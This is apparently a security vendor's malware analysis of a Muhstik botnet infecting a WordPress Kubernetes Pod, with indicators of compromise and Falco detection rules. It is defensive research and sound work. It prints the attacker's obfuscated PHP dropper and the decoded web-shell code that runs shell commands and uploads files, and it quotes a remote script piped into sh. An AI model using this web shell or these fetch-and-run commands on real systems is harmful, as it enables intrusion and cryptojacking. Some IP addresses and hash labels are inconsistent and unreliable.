Hands-On Muhstik Botnet: crypto-mining attacks targeting Kubernetes

Malware is continuously mutating, targeting new services and platforms. The Sysdig Security Research team has identified the famous Muhstik Botnet with new behavior, attacking a Kubernetes Pod with the plan to control the Pod and mine cryptocurrency.

A WordPress Kubernetes Pod was compromised by the Muhstik worm and added to the botnet. On the Pod has been deployed and executed various types of crypto miners, like xmra64andxmrig64.

This attack confirms what we’ve been seeing for quite some time; Crypto miner attacks are on the rise, and they come in many different forms. The fact that crypto currency prices are over the roof is only making things worse.

We will cover the characteristics of Muhstik Malware, the step-by-step of this particular attack, and how to protect your infrastructure against it.

What is Muhstik Malware?

Muhstik malware has been around since 2017, and we assume that it is based on a fork of the Mirai code and is currently affecting the cloud by way of several web application exploits.

The botnet is monetized via cryptomining and with DDoS attack services.

It targets a wide variety of web applications, including WordPress, Drupal, and WebDAV, Oracle’s WebLogic application server, as well an assortment of Internet-of-Things (IoT) and Small Office/Home Office (SOHO) devices.

Muhstik uses its botnet to mount sizable distributed denial-of-service (DDoS) attacks, but it will also install several cryptocurrency miners on affected systems.

Step-by-step Muhstik behavior

Let’s start with a quick overview of the attack behavior and the main steps executed, from the Pod compromisation to the cryptomining activities.

The attack uncovered went as follows:

WordPress admin login configured with default credentials in the honeypot account was attacked
1. The header.php file was used to upload a malicious PHP page E3DC4533F48E7161DA720C6FD3591710.php
2. The malicious PHP code loads files and executes remote commands.
The codepty3 uploaded was executed on the Pod.
Then, pty3 spawned a new process called ggop6b5pqkmfrfd and connected to the botnet.
1. The file was copied in different directories.
2. Created entry in file rc.local for persistence.
3. Created /etc/inittab file using respawn function always for persistence.
xmrig64 crypto miner binary was executed on the machine.
The malicious remote script was downloaded and executed on the Pod http://118.24.84.121/wp-content/themes/twentyfifteen/kn | sh
1. Other pty files were downloaded and executed.
Then, the xmra64 crypto binary miner was downloaded from 178.62.105.90 IP addresses and executed on the Pod using the mining pools on the 185.165.171.78, 185.86.148.14 IP addresses.

Let’s dig deeper into the details of this Muhstik malware, how this botnet works in detail, the exact commands that are run, the communication between the servers, and finally, how to detect this attack with open source Falco.

Muhstik Malware in depth

#1 Initial access – Encrypted PHP web shell

Default WordPress credentials were exploited in our honeypot and the WordPress header.php file was updated with the following string.

As we can understand from the clear text code at the end, the PHP function file_put_contents was used to create a new file and put the encrypted code in it.

<?php if (isset($_GET[‘t6’])) { $data = “<?php eval(gzinflate(str_rot13(base64_decode(‘rUl6QuNTEP6cVfkPgy862xKQhOOAWOK0SBsKKgJRTyuVO0yOvY5d/NbdNYHe8d87u3gntoHr6Yo/EGl05tl0c2lz51RTGAvTxHPcodwwVNB2E1dGd0aSpZSHydLom6NBu9PuOjkP7MxuDCzQDvcHh/2jo8Fe3+/vHWv9vf7gUH//8PDgwNnzPeeDJpA6ej9CXI74kNEw4XTpMlkMEz5q2i3iBil142AwOUI5HKds4o17uNJTG242mQcEKPk7J4wTD66vzmDlMFXQwhcWgMg8CBkwT+8I3R33shpAQHhYx/Mo+jv5KWZcBJ5WI2M4dbvQtXTTq9+nSjf6yXx+dp9czOb6J9gFDS4xDmPUH/dXZgEJ+BWojD9RpLEZJkzO4TPEDlKXh/3RwmRil0dj3mTTKKXDN77vjxYp9QgdDrJ7YHYUbSBq4bFkT++5I8YuVjihzV0/pTHEhAepdHIp41q5b8YfMm+JXK6QASRBrEla5Z5Am4x7laNN5D7k+Pso0hv6YISMEWFn7V+n8xt9FRL9k6ky3GgoxauCf50HUFsFqQbWpEuiuKWlzBYny+0syOxcrAyd6ea2lMu1jSmSNzRZ/LSpbSdIBeGWFnBBw4TYwrWmXlxP3hKakKgppqVrvdfQKMQhO9hfhFwKL0Iu7dPzuT07/WYKlnLBPvwAvhMxAlDgNCd1borKdlaCLUwAxl8MPSGJm23EEPExSHqtgwoEAZ5R9TZkojKswtmum8YehrYmrnQuo3GCaiHhwMJ/iPUO5K2z3vTlN9Hwc7OAUZFa7ol4VUBG3GmR8oRwygVALd9CqF1vidzoLF/EId8kPc+iFAslFKnPSZ5uFryE5UlKUUYSSsYJTIkdtC5dk+6ttY5Cz6azGz3H8vbDCPXQUeoXoI/qJ0HviK0OJp4tNI10emyc2cp+GypRatWJSKavhEtmWHLmTSrBsYMIXkxhKrgvKs9l18XGAxy3BPaTg3GfGv4C2iYujTo1tsq0zaaz2enF+VrsvTeeem3mJ9gQVFgSdPzB2LR/E758KWLBOpNPINL49i0GQiLX97FAKgj1wHwbJ1hJlWtJno9L9YUR9/ax8L0oCB5leaHXyWJWuldgB+I8YDy8HfeUYLxD7a3r5tQWGRaPnCGivSTcxlqKLUMKDEwnpkNet9yyzPbKMjuSH6JBrgXWEPLQswq0+AEXEnJmmMjfsqqyfEFy3FusiX7T2fJhDOWlqTSzJkf1mRYV23av+8xXtBkk5DYquZvjPuOU4hNwCLV60HttPa2F3pZHjFUi9VkM/aCmJj5Xa0ETaN6uQBp65EIz3bCo6mH+rUjWWJQ/fnw1zgj1baTVj6pemXW99q54orY0Y3HOLFqbfP0a/JzGsSPGK5Xy6gigZGWP75kcADQ39rS6Zyab+02uYzS4ZqJcrmJEX80I+qjOFN84BRHnEQ8zHC6l3o7nY6dxXrojvPkPF8quiVpGukS8RQ1igtDzVUWwSA9G3SHRtgtk2cW14swjhfZIFudxJa2HQyVEwRfRR9aD98U5xROngRtu57O4RjNDJAuZtuDr2CqHeOGtj1uqvRYpqQ8HxXlDdcTe/50NXhoNNpe8JZhuxfA0zzJ5kegWrgwxI13MtqG/De9ZRkFW+h+n57oaFU3fUlTHdEJ/bkepEPpB8IjBQeS8iI8+/ws=’)))); ?>”; file_put_contents(“E3DC4533F48E7161DA720C6FD3591710.php”, $data); } ?>

To find the real code executed, we need to revert the decryption process starting from the string base64 we have here. In this case, we have a triple encoding:

Base_64 encoding: Method used to encode text or code to better send it without error and bypass detection.
Rot13 substitution cipher: A simple shifting character rotation of ASCII letters.
Compression: Gzip compression applied to get ‘text’ which can be used via a web ‘POST’ requests.

Decrypting the code added by the attacker, we can see it is a PHP web shell, used to execute commands and upload files on the Pod. Let’s go deeper into the static analysis of the most relevant part of the code.

The first part of the PHP code is used to download more malware files. We explain deeper in the next section.

if (isset($_GET[‘wie’])) { $arr = array(“who” => array(“os_name” => php_uname(‘s’), “uname_version_info” => php_uname(‘v’), “machine_type” => php_uname(‘m’), “kernel” => php_uname(‘r’), “php_uname” => php_uname(), “is64bit” => PHP_INT_SIZE === 4 ? false : true)); print (json_encode($arr)); exit; } elseif (isset($_GET[‘knal’])) { $comd = $_GET[‘knal’]; echo “<pre>” . shell_exec($comd) . “</pre>”; exit; } elseif (isset($_POST[‘submit’])) { $uploaddir = pwd(); if (!$name = $_POST[‘newname’]) { $name = $_FILES[‘userfile’][‘name’]; } move_uploaded_file($_FILES[‘userfile’][‘tmp_name’], $uploaddir . $name); if (move_uploaded_file($_FILES[‘userfile’][‘tmp_name’], $uploaddir . $name)) { echo “Upload Failed”; } else { echo “Upload Success to ” . $uploaddir . $name . ” :D “; }…

Here, check the session and the authentication with the botnet.

if (!isset($_SESSION[md5($_SERVER[‘HTTP_HOST’]) ])) { if (empty($auth_pass) || (isset($_POST[‘pass’]) && (md5($_POST[‘pass’]) == $auth_pass))) { $_SESSION[md5($_SERVER[‘HTTP_HOST’]) ] = true; } else { printLogin(); } }

The PHP code below is used to obtain information about the current user, and is signed by the Muhstik malware.

echo “<title>UnKnown – muhstik</title> ”; $cur_user = “(” . get_current_user() . “)”; echo “User : uid=” . getmyuid() . $cur_user . ” gid=” . getmygid() . $cur_user . “ ”; echo “Uname : ” . php_uname() . “ ”;

This last portion of the PHP code is used as a backdoor communication to send the commands from the botnet. We can observe cmd, dir, or ls -la commands.

if (isset($_POST[‘command’])) { $cmd = $_POST[‘cmd’]; echo “<pre>” . shell_exec($cmd) . “</pre>”; } else { if (strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’) { echo “<pre>” . shell_exec(‘dir’) . “</pre>”; } else { echo “<pre>” . shell_exec(‘ls -la’) . “</pre>”; } }

#2 Propagation – pty3 dropped on the Pod

The first malware file dropped and executed on the Pod using the web shell created was the binary pty3. We use an external service to analyze the binary, Virustotal, which helps us to detect, with several AVs, what type of malware it is.

This particular binary was reported for the first time in April, 2021, and 32 intelligence sources have confirmed that it is, indeed, malware. There are a lot of versions of pty3 malware in the wild that are related to the Muhstik botnet, however, it seems to be a recent version.

In our malware analysis, we use our honeypot to follow the malware behavior and its goal.

If this were a regular production server, we would have a plan to incident response, immediately isolate the binary, investigate the source, and enhance our security for future incidents.

#3 Runtime analysis – pty3 malware executed inside the Pod

The malware file pty3 was executed right after it was dropped on the Pod. To follow what pty3 is doing, we used the open source tool, Sysdig Inspect, to visualize system calls.

Let’s see the activities performed by the malware in detail.

#3.1 Checking network tools running in the Pod

As the first action, the malware checks if network dump tools are in execution in the Pod. The two binaries checked are tcpdump and strace.

This is a typical process to discover and identify new targets to infect with the malware, using system binaries in the process or GTFOBins.

#3.2 Persistence phase

To make sure the Muhstik malware will be rerun if the process dies or the machine is restarted, the malware needs to spread itself in the Pod and perform some actions.

In this case, the pty3 binary performed special measures to achieve persistence in the machine.

First of all, the pty3 started copying itself in different directories for persistence purpose:

/tmp/pty3
/dev/shm/pty3
/var/tmp/pty3
/var/lock/pty3
/var/run/pty3

Then, it tried to execute crontab, although the crontab binary wasn’t available inside the Pod. It succeeded instead of executing persistence via /etc/inittab, adding the following lines.

Using the respawn function ensures that if the process dies, it will be respawned automatically without losing the compromised host/Pod.

The Muhstik malware also added itself in the rc.local file for the same purposes as shown in the following screenshot.

#3.3 Establishing C&C communication with the Botnet

At this point, the malware needs to communicate and send instructions to the zombie Pod. In the following image, we can see the PING / PONG communication between the process ggop6b5pqkmfrfd and the webserver.

It resembles other malware and C&C protocols, capturing information about the target and communicating back with updated attack payloads.

Let’s stop for a moment to summarize the activities done so far by the malware dropped:

Spawn a new process to connect to the botnet.
Check tools running inside the host/Pod to discover new Pods to infect.
Replicate itself in different locations for persistence.
Run crontab by creating and editing /etc/inittab to get persistence.

#4 Crypto miners in action

The goal of the Muhstik botnet, after infecting the victim, is to monetize the resources it infects. Muhstik malware downloads two binaries in the Kubernetes Pods it controls, and starts cryptomining.

#4.1 `xmrig64` binary downloaded and executed on the Pod

Once the malware infection is complete, after having connected the Pod to the botnet, the attacker uploaded and executed the xmrig64 binary using the PHP web shell.

From the screen below, using Inspect, we can detect the miner connecting to the IP pool 186.86.148.14 with port 8081 and start sharing information.

#4.2 `xmra64` binary behavior

Using the ggop6b5pqkmfrfd process running in the Pod, the Muhstik botnet downloaded the crypto miner binary xmra64 from the IP 178.62.105.90 executing the wget and curl commands.

Once downloaded, ggop6b5pqkmfrfd prepared the binary for execution. We can see how it used chmod to set the execution bit.

We uploaded this xmra64 binary again and the report was very similar. It is a well-known crypto miner.

Two crypto miner pools were specified when launching the crypto miner binary:

185.165.171.78
185.86.148.14

From the following screen, we can see the miner started communicating with the pool.

#5 More malware binaries – Other pty files dropped on the Pod

After running the first miner, the other pty files were dropped on the Pod downloading and executing a script, which we detect again with Inspector.

Looking at the file downloaded, we can see the code executed and from where the file was downloaded.

We can see the file pty*, which might be different versions of the pty3 file executed before, are downloaded from the IP 167.99.39.134/.x/.

Summary of IOC and suspicious activities

IPs & URLs

http://118.84.24.121:80/wp-content/themes/twentyfifteen/kn
http://167.99.39.134/.x/
http://178.62.105.90:80/wp-content/themes/twentyfifteen/xmra64
185.86.148.14:8081
185.165.171.78:8081
46.149.233.35:8080

Files and their MD5:

E3DC4533F48E7161DA720C6FD3591710.php
- 4dc3298cdbf565cc897a922807a2809667535c5a
pty3
- 61586a0c47e3ae120bb53d73e47515da4deaefbb
xmrig64
- de64b454420c64fc160a9c6c705896ae0e26d8db
xmra64
- 497f4e24464a748c52f92de1fba33551

Suspicious activities

There are a few suspicious activities worth mentioning in our Muhstik malware analysis:

wget is launched in runtime, not build time.
Network communication with the miner pool.
A CPU usage surge due to an unknown process launched.

Once we have identified these activities, we see how we can perform their detection.

Detecting the Muhstik botnet with Falco

Falco is the CNCF open-source project for runtime threat detection for containers and Kubernetes.

One of the benefits of Falco is in leveraging its powerful and flexible rules language. As a result, Falco will generate security events when it finds abnormal behaviors, as defined by a customizable set of rules. Meanwhile, Falco comes with a handful of out-of-the-box detection rules.

Customizing the rules reported here, it’s possible to detect crypto miners’ behaviors through connections using the IPs mentioned in this article, and proactively detect other connections to well-known crypto miners’ domains.

# Note: falco will send DNS request to resolve miner pool domain which may trigger alerts in your environment.
- rule: Detect outbound connections to common miner pool ports
  desc: Miners typically connect to miner pools on common ports.
  condition: net_miner_pool and not trusted_images_query_miner_domain_dns
  exceptions:
    - name: proc_sport_sipname
      fields: [proc.name, fd.sport, fd.sip.name]
  enabled: false
  output: Outbound connection to IP/Port flagged by cryptoioc.ch (command=%proc.cmdline port=%fd.rport ip=%fd.rip container=%container.info image=%container.image.repository)
  priority: CRITICAL
  tags: [network, mitre_execution]

- rule: Container Drift Detected (chmod)
  desc: New executable created in a container due to chmod
  condition: >
    chmod and
    consider_all_chmods and
    container and
    not runc_writing_var_lib_docker and
    not user_known_container_drift_activities and
    evt.rawres>=0 and
    ((evt.arg.mode contains "S_IXUSR") or
    (evt.arg.mode contains "S_IXGRP") or
    (evt.arg.mode contains "S_IXOTH"))
  exceptions:
    - name: proc_name_image_suffix
      fields: [proc.name, container.image.repository]
      comps: [in, endswith]
    - name: cmdline_file
      fields: [proc.cmdline, fd.name]
      comps: [in, in]
      values:
        - [["runc:[1:CHILD] init"], [/exec.fifo]]
  output: Drift detected (chmod), new executable created in a container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline filename=%evt.arg.filename name=%evt.arg.name mode=%evt.arg.mode event=%evt.type)
  priority: ERROR

- rule: Outbound Connection to C2 Servers
  desc: Detect outbound connection to command & control servers
  condition: outbound and fd.sip in (c2_server_ip_list)
  exceptions:
    - name: proc_proto_sport
      fields: [proc.name, fd.l4proto, fd.sport]
  output: Outbound connection to C2 server (command=%proc.cmdline connection=%fd.name user=%user.name user_loginuid=%user.loginuid container_id=%container.id image=%container.image.repository)
  priority: WARNING
  tags: [network]

You can see the full rule descriptions on GitHub.

If you would like to find out more about Falco, check out the Falco project on GitHub.

Detecting the Muhstik with Sysdig Secure

The Sysdig Secure DevOps Platform is built on top of Falco, and was used to detect this particular attack.

With the help of Sysdig Secure image profiling, DevOps can:

Create a policy to detect any port bind and listen to activities from random processes.
Create a policy to detect any destination IPs that are not on the white list.
Create a policy to detect any processes launched that are not in the whitelist (e.g., wget, pty*, xmrig64, xmra64).

The miner_ports list is already part of the Out of the Box rules for Sysdig Secure. The cryptominer_IP_IOC instead includes the IPs reported in the IoCs section, related to the miner activities.

Conclusion

This incident confirms a trend of cryptomining attacks being on the rise, and they are getting more creative as time goes on. The Sysdig research team analyzes other malware, like serv-hello or Shellbot, with similar behavior.

As a system administrator, you must use the proper tools to prevent and detect these attacks. Without deep insight into the process activities, file activities, and network activities from your cloud native environment, and the help from a smart detection engine, it will be hard to detect such an attack. It will be even more difficult to uncover it.

It is also important to note that unified security and monitoring solutions will speed up the investigation process. Once you identify a single suspicious event, it helps you trace down the event from different angles, such as resource usage, network connections, and reading sensitive files.

At Sysdig Secure, we extend Falco with out-of-the-box rules, along with other open source projects, making it even easier to work with and manage Kubernetes security. Register for our free 30-day trial and see for yourself!

The Sysdig Secure DevOps Platform provides security to confidently run containers, Kubernetes, and cloud services. With Sysdig, you can secure the build pipeline, detect and respond to runtime threats, continuously validate compliance, and monitor and troubleshoot cloud infrastructure and services. Try it today!